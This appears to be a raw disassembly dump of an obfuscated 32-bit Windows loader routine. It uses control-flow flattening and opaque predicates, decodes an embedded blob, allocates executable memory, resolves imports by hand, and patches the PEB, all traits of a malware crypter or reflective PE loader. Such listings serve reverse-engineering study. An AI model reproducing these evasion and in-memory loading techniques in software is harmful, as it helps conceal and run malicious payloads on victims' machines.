mov eax, dword [0x4af428]
setne byte [ebp - 0x4764c]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x505cd89
jmp 0x4016a7
mov eax, dword [ebp - 0x47628]
mov ecx, 0x3bf9b990
mov dword [eax], 0x40
jmp 0x4016c0
mov eax, dword [ebp - 0x476f0]
mov ecx, 0xfcb854c2
jmp 0x4016c0
mov eax, dword [ebp - 0x47628]
mov ecx, 0x190fb17e
mov dword [eax], 4
jmp 0x4016c0
mov dword [ebp - 0x47618], 7
mov ecx, 0x3fe5dbb1
jmp 0x4016c0
mov eax, dword [ebp - 0x47628]
mov edi, 0x363b434e
mov dword [eax], 4
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xeece0662
jmp 0x404efa
mov eax, dword [ebp - 0x47620]
mov eax, dword [0x4af428]
mov ebx, 0x7b0f5fd3
mov edi, 0x37d69a10
mov dword [ebp - 0x47618], 0x10
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x37d69a10
sete al
cmove ecx, ebx
cmp dword [0x4af424], 0xa
setl dl
cmovge ecx, edi
xor dl, al
cmovne ecx, ebx
jmp 0x4016c0
mov eax, dword [ebp - 0x476c0]
mov ecx, 0xd39a27e
jmp 0x4016c0
mov eax, dword [ebp - 0x47790]
add eax, dword [ebp - 0x47794]
mov ecx, dword [ebp - 0x47624]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x4778c]
mov dword [eax + ecx*4], edx
mov ecx, 0x3ceab0e0
mov eax, dword [ebp - 0x47638]
mov eax, dword [ebp - 0x47664]
jmp 0x4016c0
mov eax, dword [ebp - 0x47740]
mov ecx, 0xc1e2a03c
mov dword [ebp - 0x47670], eax
jmp 0x4016c0
mov eax, dword [0x4af428]
mov ebx, 0xf2387f09
mov edi, 0x99c27f9d
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x99c27f9d
jmp 0x40597e
mov eax, dword [ebp - 0x47614]
mov ecx, 0xebcd373a
cmp dword [eax], 0
sets byte [ebp - 0x47650]
jmp 0x4016c0
mov dword [ebp - 0x47618], 2
mov ecx, 0x36ed30d1
jmp 0x4016c0
push 4
push 0x3000
push dword [ebp - 0x47708]
push dword [ebp - 0x476b8]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp dword [ebp - 0x47690], 0
mov esi, eax
mov ecx, 0xeec9c972
mov eax, 0x43373d3
cmove ecx, eax
jmp 0x4016c0
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
mov edi, 0x2db9e2c3
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xc611c086
cmovne ebx, edi
test edx, ecx
mov ecx, ebx
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x47614]
cmovge ecx, ebx
mov eax, dword [eax]
not eax
or eax, 0xbfffffff
cmp eax, 0xffffffff
setne byte [ebp - 0x47653]
jmp 0x4016c0
mov eax, dword [0x4af428]
mov ebx, 0x977e3632
mov edi, 0xbd4e67c3
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xbd4e67c3
jmp 0x40597e
mov eax, dword [0x4af428]
mov edi, 0xddc6acce
mov ebx, 0x5244eecc
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x5244eecc
jmp 0x4016a7
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
mov edi, 0x6be6ba0f
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x8d03a737
jmp 0x404efa
mov eax, dword [0x4af428]
mov ebx, 0xdf05f33f
mov edi, 0x73d707a9
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x73d707a9
jmp 0x40597e
mov eax, dword [ebp - 0x47670]
mov ecx, 0x536208c5
inc eax
mov dword [ebp - 0x47740], eax
jmp 0x4016c0
mov eax, dword [0x4af428]
mov ebx, 0x73562461
mov edi, 0xef8f7e02
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xef8f7e02
jmp 0x40597e
mov ecx, 0x8490ce74
jmp 0x4016c0
cmp byte [ebp - 0x47651], 0
mov ecx, 0x1868257f
mov eax, 0xf7899a1b
cmovne ecx, eax
jmp 0x4016c0
mov eax, dword [0x4af428]
mov edi, 0xca860ef4
mov ebx, 0xb8590c7a
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xb8590c7a
jmp 0x4016a7
mov ecx, 0x6be6ba0f
jmp 0x4016c0
mov eax, dword [0x4af428]
mov ebx, 0xe21c9736
mov edi, 0xed41063
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xed41063
jmp 0x40597e
cmp byte [ebp - 0x4764a], 0
mov ecx, 0xe151c160
mov eax, 0x9aafeb2c
cmovne ecx, eax
jmp 0x4016c0
mov eax, dword [ebp - 0x4761c]
mov dword [ebp - 0x476cc], esi
mov edi, 0x4908c732
mov ebx, 0x8d8160ac
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x476d0], eax
mov eax, dword [0x4af428]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x8d8160ac
jmp 0x4016a7
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
mov edi, 0x154fb993
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xb2dcbab2
jmp 0x405a2c
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
mov edi, 0x2a2c25ff
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x8c75e850
jmp 0x405a2c
movzx eax, word [ebp - 0x47686]
mov eax, dword [ebp - 0x476e8]
mov ecx, 0x716971ce
jmp 0x4016c0
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
mov edi, 0x7fedb7be
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x77548222
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
mov edi, dword [ebp - 0x47618]
cmp eax, 0xa
cmovge ecx, edx
mov dword [ebp - 0x476b0], edi
jmp 0x4016c0
mov eax, dword [ebp - 0x47748]
mov ecx, dword [ebp - 0x47744]
sub ecx, dword [eax + 0x1c]
mov eax, dword [ebp - 0x476b4]
add eax, esi
mov dword [ebp - 0x476fc], ecx
mov ecx, 0x9fdff5de
mov dword [ebp - 0x4766c], eax
jmp 0x4016c0
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x60cc6f95
jmp 0x4016c0
mov eax, dword [ebp - 0x476fc]
mov edi, 0xf97d8240
mov ebx, 0x8d03a737
mov dword [ebp - 0x47764], eax
mov eax, dword [ebp - 0x476f8]
mov dword [ebp - 0x476a0], eax
mov eax, dword [ebp - 0x47658]
movzx eax, word [eax]
mov ecx, eax
xor ecx, 0xfffff000
and ecx, eax
movzx eax, cx
mov dword [ebp - 0x476a4], eax
mov eax, dword [0x4af428]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x8d03a737
jmp 0x4016a7
mov dword [ebp - 0x47618], 0
mov ecx, 0x5c008e40
jmp 0x4016c0
mov eax, dword [ebp - 0x47620]
mov ecx, 0xb6042351
jmp 0x4016c0
mov eax, dword [ebp - 0x47628]
mov ecx, 0xb5c2a08b
mov dword [eax], 0x40
mov eax, dword [ebp - 0x47614]
mov eax, dword [ebp - 0x47620]
jmp 0x4016c0
mov ecx, 0xa08a0e7e
jmp 0x4016c0
mov eax, dword [ebp - 0x4761c]
mov ecx, 0x557944ac
add eax, 0x50
mov dword [ebp - 0x476c4], eax
jmp 0x4016c0
mov eax, dword [0x4af428]
mov edi, 0xfb4c9922
mov ebx, 0xef8f7e02
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xef8f7e02
jmp 0x4016a7
cmp dword [ebp - 0x47760], 0
mov ecx, 0x73f864bb
mov eax, 0xce186584
cmove ecx, eax
jmp 0x4016c0
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
mov edi, 0xa15fb596
lea ecx, [edx + 1]
imul ecx, edx
mov ebx, ecx
xor ebx, 0xfffffffe
test ebx, ecx
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xcea43380
cmovne edx, edi
test ebx, ecx
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x47628]
cmovge ecx, edx
mov eax, dword [eax]
mov dword [ebp - 0x477a0], eax
mov eax, dword [ebp - 0x47694]
mov dword [ebp - 0x477a4], eax
mov eax, dword [ebp - 0x47620]
mov eax, dword [eax]
mov dword [ebp - 0x477a8], eax
jmp 0x4016c0
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
mov edi, 0xf4644857
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x9489b37d
jmp 0x405a2c
cmp byte [ebp - 0x4764c], 0
mov ecx, 0x49d0d594
mov eax, 0x44d8a41c
cmovne ecx, eax
jmp 0x4016c0
mov eax, dword [ebp - 0x47660]
mov ecx, dword [ebp - 0x476e4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4762c]
mov eax, dword [ebp - 0x47660]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x4762c]
mov ebx, 0x30b87602
mov edi, 0x1095af42
mov dword [ecx], eax
mov eax, dword [ebp - 0x4762c]
cmp dword [eax], 0
mov eax, dword [0x4af428]
lea ecx, [eax - 1]
setne byte [ebp - 0x47649]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x1095af42
jmp 0x40597e
mov ecx, 0x1aa64dc8
jmp 0x4016c0
mov eax, dword [ebp - 0x4761c]
mov ecx, 0x7e50f2e9
add eax, 0x18
mov dword [ebp - 0x4770c], eax
jmp 0x4016c0
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
mov edi, 0xb6042351
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xf6103c5a
jmp 0x404efa
mov ecx, 0xf42a1f2c
jmp 0x4016c0
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
mov edi, 0x3fe5dbb1
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xef06e1dd
jmp 0x404efa
mov eax, dword [0x4af428]
mov edi, 0xea222bbe
mov ebx, 0x1659c121
mov dword [ebp - 0x476a8], 1
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x1659c121
sete al
cmove ecx, edi
cmp dword [0x4af424], 0xa
setl dl
cmovge ecx, ebx
xor dl, al
cmovne ecx, edi
jmp 0x4016c0
mov eax, dword [ebp - 0x47624]
mov ecx, dword [ebp - 0x47798]
mov dword [eax], ecx
mov ecx, 0xb58d3fc1
jmp 0x4016c0
mov eax, dword [0x4af428]
mov ebx, 0xfcb854c2
mov edi, 0x6342c023
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x6342c023
jmp 0x40597e
mov eax, dword [ebp - 0x47660]
mov ecx, dword [ebp - 0x476e4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4762c]
mov eax, dword [ebp - 0x47660]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x4762c]
mov dword [ecx], eax
mov ecx, 0x3b3bc687
mov eax, dword [ebp - 0x4762c]
jmp 0x4016c0
mov ecx, 0x93e3ba5d
jmp 0x4016c0
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
mov edi, 0x8490ce74
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x1265f56f
jmp 0x405a2c
mov eax, dword [ebp - 0x47658]
mov ecx, 0x5875c407
mov dword [ebp - 0x4766c], eax
jmp 0x4016c0
mov ecx, 0x79bd43a4
jmp 0x4016c0
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
mov edi, 0x19d2020e
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x37d69a10
jmp 0x405a2c
mov ecx, 0x885ba01d
jmp 0x4016c0
mov eax, dword [ebp - 0x47634]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x47624]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
mov ecx, dword [ebp - 0x47664]
add eax, esi
mov dword [ecx], eax
mov eax, dword [ebp - 0x47638]
mov eax, dword [ebp - 0x47634]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x47624]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
mov ecx, eax
xor ecx, 0xffff0000
and ecx, eax
mov eax, dword [ebp - 0x4762c]
push ecx
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0xf1e340ac
jmp 0x4016c0
mov ecx, 0x4b9c2a6d
jmp 0x4016c0
mov ecx, 0x620ab6a
jmp 0x4016c0
mov eax, dword [ebp - 0x47770]
mov ecx, 0x472d77ba
mov dword [ebp - 0x4768c], eax
jmp 0x4016c0
mov ecx, 0x8ee5a720
jmp 0x4016c0
mov ecx, 0x97e52bd9
jmp 0x4016c0
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
mov edi, 0xa2466034
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x505cd89
jmp 0x404efa
mov eax, dword [ebp - 0x476c4]
push 0x40
push 0x3000
push dword [eax]
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, dword [0x4af428]
mov edx, dword [0x4af424]
mov edi, 0x2cf3bdfb
mov dword [ebp - 0x476c8], eax
lea ecx, [ebx + 1]
imul ecx, ebx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete bl
cmp edx, 0xa
setl bh
xor bh, bl
mov ebx, 0x99c27f9d
cmovne ebx, edi
cmp ecx, 0xffffffff
mov ecx, ebx
cmove ecx, edi
cmp edx, 0xa
cmovge ecx, ebx
jmp 0x4016c0
mov ecx, 0x79df6e8e
jmp 0x4016c0
mov eax, dword [ebp - 0x4769c]
mov eax, dword [ebp - 0x4761c]
mov dword [ebp - 0x477b4], esi
mov ecx, 0x61c5fd2
mov dword [ebp - 0x477b8], eax
jmp 0x4016c0
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
mov edi, 0xd60c924f
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x1def9cd6
jmp 0x404efa
mov ecx, 0x8e9f3503
jmp 0x4016c0
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
mov edi, 0x5ee3c5d6
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xbd12184a
jmp 0x404efa
cmp byte [ebp - 0x4764b], 0
mov ecx, 0xd1332769
mov eax, 0x477966bf
cmovne ecx, eax
jmp 0x4016c0
mov dword [ebp - 0x47618], 0xd
mov ecx, 0x77291ab1
jmp 0x4016c0
mov eax, dword [ebp - 0x47674]
mov eax, dword [ebp - 0x476ac]
mov eax, dword [ebp - 0x47640]
mov ecx, 0x11c1cabe
jmp 0x4016c0
mov ecx, 0x24cb3ea6
jmp 0x4016c0
mov eax, dword [ebp - 0x47630]
mov ecx, 0x1abc3d92
jmp 0x4016c0
mov ecx, 0xabdaf44a
jmp 0x4016c0
mov ecx, 0xca860ef4
jmp 0x4016c0
mov eax, dword [ebp - 0x47624]
mov ecx, 0xd26f537b
jmp 0x4016c0
mov eax, dword [0x4af428]
mov ebx, 0x23aaee86
mov edi, 0x2edda587
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x2edda587
jmp 0x40597e
mov eax, dword [ebp - 0x476bc]
mov ecx, dword [eax + 0xa0]
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x476b4], ecx
mov dword [ebp - 0x47690], eax
mov ecx, 0x89c70494
jmp 0x4016c0
mov ecx, 0x9a0b1497
jmp 0x4016c0
mov eax, dword [0x4af428]
mov ebx, 0xb5bf8b7a
mov edi, 0x5244eecc
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x5244eecc
jmp 0x40597e
mov dword [ebp - 0x476a8], 1
mov ecx, 0x17e95c9
jmp 0x4016c0
mov eax, dword [ebp - 0x4765c]
mov ecx, 0x7d41e1c0
jmp 0x4016c0
push 0x47600
push 0x45b218
lea edi, [ebp - 0x47610]
push edi
vzeroupper
call fcn.0043f350
add esp, 0xc
push 0x47600
push edi
call fcn.00401460
add esp, 8
mov ecx, 0xb48eb127
jmp 0x4016c0
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
mov edi, 0x8f4f3aee
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x7431f0c3
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
cmovge ecx, edx
jmp 0x4016c0
mov eax, dword [ebp - 0x4761c]
mov edi, 0x1f5157cd
mov ebx, 0x7061cd37
mov dword [ebp - 0x47714], esi
add eax, 0x18
mov dword [ebp - 0x47718], eax
mov eax, dword [0x4af428]
lea ecx, [eax + 1]
imul eax, ecx
mov ecx, 0x7061cd37
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete al
cmove ecx, edi
cmp dword [0x4af424], 0xa
setl dl
cmovge ecx, ebx
xor dl, al
cmovne ecx, edi
jmp 0x4016c0
mov eax, dword [ebp - 0x47668]
mov eax, dword [ebp - 0x47668]
mov eax, dword [ebp - 0x47668]
mov eax, dword [ebp - 0x47668]
mov eax, dword [ebp - 0x47668]
mov ecx, 0x8fe20247
jmp 0x4016c0
cmp dword [ebp - 0x476e0], 0
mov eax, dword [0x4af428]
mov edi, 0x5fa3202e
mov ebx, 0xf9ff2656
lea ecx, [eax + 1]
setne byte [ebp - 0x47648]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xf9ff2656
jmp 0x4016a7
mov ecx, 0xb71acd0a
jmp 0x4016c0
mov eax, dword [0x4af428]
mov edi, 0x3e47905f
mov ebx, 0xa35ecc5b
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xa35ecc5b
jmp 0x4016a7
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
mov edi, 0x530a37b6
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x5d16d081
jmp 0x405a2c
movzx eax, word [ebp - 0x47686]
mov ecx, dword [ebp - 0x476e8]
mov ebx, 0x56c21a67
mov edi, 0x303b949e
cmp ecx, eax
mov eax, dword [0x4af428]
setl byte [ebp - 0x4764b]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x303b949e
jmp 0x40597e
mov ecx, 0x8cb1b576
jmp 0x4016c0
mov eax, dword [ebp - 0x47640]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x47630]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*4 + 0x10]
mov ecx, 0x50d93660
mov dword [ebp - 0x476e0], eax
jmp 0x4016c0
mov eax, dword [ebp - 0x47630]
mov ecx, dword [ebp - 0x4779c]
mov dword [eax], ecx
mov ecx, 0xf7b9b233
jmp 0x4016c0
mov ecx, 0xedc19de
jmp 0x4016c0
mov eax, dword [ebp - 0x476cc]
mov edi, 0xa61030c2
mov ebx, 0x2edda587
cmp eax, dword [ebp - 0x476d0]
mov eax, dword [0x4af428]
lea ecx, [eax + 1]
setne byte [ebp - 0x47646]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x2edda587
jmp 0x4016a7
mov eax, dword [ebp - 0x4776c]
mov ecx, dword [ebp - 0x4765c]
inc eax
mov dword [ecx], eax
mov ecx, 0x4ceb39ca
jmp 0x4016c0
mov eax, dword [ebp - 0x4769c]
push 0xffffffffffffffff
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0x4769c]
mov eax, dword [ebp - 0x47684]
mov eax, dword [ebp - 0x47680]
mov eax, dword [ebp - 0x4767c]
mov eax, dword [ebp - 0x4763c]
mov eax, dword [ebp - 0x47678]
mov eax, dword [ebp - 0x47698]
mov dword [ebp - 0x476a8], 0
mov dword [ebp - 0x47618], 1
mov ecx, 0xe1930f90
jmp 0x4016c0
mov ecx, 0x7f416f59
jmp 0x4016c0
mov eax, dword [0x4af428]
mov ebx, 0x89c70494
mov edi, 0xfcc6b820
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xfcc6b820
jmp 0x40597e
cmp byte [ebp - 0x47648], 0
mov ecx, 0x8ec3fdac
mov eax, 0xb0dde3bb
cmovne ecx, eax
jmp 0x4016c0
cmp byte [ebp - 0x47650], 0
mov ecx, 0x5cab5b6b
mov eax, 0xd957320
cmovne ecx, eax
jmp 0x4016c0
mov eax, dword [0x4af428]
mov edi, 0x693f030a
mov ebx, 0xef06e1dd
mov dword [ebp - 0x47618], 7
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xef06e1dd
sete al
cmove ecx, edi
cmp dword [0x4af424], 0xa
setl dl
cmovge ecx, ebx
xor dl, al
cmovne ecx, edi
jmp 0x4016c0
mov ecx, 0xda70da9
jmp 0x4016c0
mov eax, dword [ebp - 0x47614]
mov ecx, 0x372e8efa
jmp 0x4016c0
mov eax, dword [ebp - 0x47620]
mov eax, dword [ebp - 0x47620]
mov ecx, 0x2c17c83e
mov dword [eax], 0
jmp 0x4016c0
mov eax, dword [ebp - 0x4777c]
mov eax, dword [eax]
add eax, dword [ebp - 0x47774]
mov ecx, dword [ebp - 0x47640]
mov dword [ecx], eax
mov ecx, 0xf7b9b233
mov eax, dword [ebp - 0x47630]
mov eax, dword [ebp - 0x47630]
mov dword [eax], 0
jmp 0x4016c0
mov eax, dword [ebp - 0x4766c]
mov dword [ebp - 0x4774c], esi
mov ecx, 0x15b3bd96
mov dword [ebp - 0x47750], eax
jmp 0x4016c0
mov eax, dword [ebp - 0x47638]
mov ecx, dword [ebp - 0x47788]
mov dword [eax], ecx
mov ecx, 0x28443046
mov eax, dword [ebp - 0x47638]
cmp dword [eax], 0
mov eax, 0x4fd64c41
cmove ecx, eax
jmp 0x4016c0
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
mov edi, 0xfbdf5ed8
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x92738176
cmovne ebx, edi
test edx, ecx
mov ecx, ebx
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x476c0]
cmovge ecx, ebx
mov eax, dword [eax]
mov dword [ebp - 0x47710], eax
jmp 0x4016c0
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
mov edi, 0x392ed68a
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x384efec3
jmp 0x405a2c
cmp byte [ebp - 0x47653], 0
mov ecx, 0xfe1cddfb
mov eax, 0x2f46e0bd
cmovne ecx, eax
jmp 0x4016c0
cmp byte [ebp - 0x47652], 0
mov ecx, 0x1868257f
mov eax, 0x6994168f
cmovne ecx, eax
jmp 0x4016c0
mov eax, dword [ebp - 0x47638]
mov eax, dword [eax]
mov dword [ebp - 0x47790], esi
mov dword [ebp - 0x4778c], eax
mov eax, dword [ebp - 0x47640]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x47630]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*4 + 0x10]
mov ecx, 0x938625d9
mov dword [ebp - 0x47794], eax
jmp 0x4016c0
mov eax, dword [0x4af428]
mov edi, 0x6c7dd32d
mov ebx, 0x28a66b4c
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x28a66b4c
jmp 0x4016a7
mov ecx, 0xb116f5ad
jmp 0x4016c0
mov eax, dword [ebp - 0x47728]
mov ecx, 0x226443e3
add eax, 6
mov dword [ebp - 0x4772c], eax
jmp 0x4016c0
mov eax, dword [ebp - 0x47674]
mov eax, dword fs:[0x30]
mov ecx, dword [ebp - 0x47674]
mov dword [ecx], eax
mov eax, dword [ebp - 0x47698]
mov eax, dword [ebp - 0x47674]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x47698]
mov dword [ecx], eax
mov eax, dword [ebp - 0x47678]
mov eax, dword [ebp - 0x47698]
mov eax, dword [eax]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x47678]
add eax, 0xfffffff8
mov dword [ecx], eax
mov eax, dword [ebp - 0x47674]
mov eax, dword [eax]
mov dword [eax + 8], esi
mov eax, dword [ebp - 0x47678]
mov eax, dword [eax]
mov dword [eax + 0x18], esi
mov eax, dword [ebp - 0x4763c]
mov eax, dword [ebp - 0x47678]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4763c]
add eax, 0x24
mov dword [ecx], eax
mov ecx, 0x59c4fca0
mov eax, dword [ebp - 0x4767c]
jmp 0x4016c0
mov eax, dword [ebp - 0x47658]
mov ecx, 0x5d086b45
movzx eax, word [eax]
mov dword [ebp - 0x4775c], eax
jmp 0x4016c0
mov ecx, 0xb5bf8b7a
jmp 0x4016c0
mov eax, dword [ebp - 0x47614]
mov ecx, 0xf9225520
jmp 0x4016c0
mov eax, dword [ebp - 0x476b0]
mov ecx, 0x6500db9d
mov edx, 0x55f387e4
cmp eax, 0xc
cmovl ecx, edx
jmp 0x4016c0
mov ecx, 0xeec9c972
jmp 0x4016c0
cmp byte [ebp - 0x47646], 0
mov ecx, 0x620ab6a
mov eax, 0x6604e6df
cmovne ecx, eax
jmp 0x4016c0
mov ecx, 0x381b6ba6
jmp 0x4016c0
mov ecx, 0xa00e5a5e
jmp 0x4016c0
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
mov edi, 0x697514c5
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xfcc6b820
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x476bc]
cmovge ecx, edx
mov edi, dword [eax + 0xa0]
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x476b4], edi
mov dword [ebp - 0x47690], eax
jmp 0x4016c0
mov dword [ebp - 0x476b8], 0
mov ecx, 0x36f95393
jmp 0x4016c0
mov eax, dword [0x4af428]
